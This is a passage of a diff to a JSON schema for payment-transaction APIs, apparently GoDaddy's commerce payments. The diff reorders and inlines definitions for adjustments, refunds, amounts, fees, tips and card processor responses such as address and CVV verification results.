+ "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "AVS Results", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, "type": "string" } }, - "required": [ - "processorType" - ] + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents Adjustment transaction against a payment", + "properties": { + "newAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "amount", - "createdAt" - ] + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } + }, + "required": [ + "total", + "currency" ], - "x-generic-type": "Transaction", - "description": "Represents sale transaction against a payment" - }, - "readOnly": true, - "description": "Sales for the payment" + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } }, - "refunds": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Refund Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" + "title": "Amount", + "type": "object" + } + }, + "required": [ + "newAmount" + ], + "title": "Adjustment Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + }, + "responses": { + "201": { + "description": "Adjust payment completed successfully", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "propertyName": "feeType" }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", "properties": { "amount": { - "type": "integer", + "description": "Fee amount", "format": "int64", - "description": "Tip amount" + "type": "integer" }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true }, - "required": [ - "feeType" - ] + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } }, - "description": "Fees if any" + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" } }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" }, - "properties": { - "amountType": { + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": 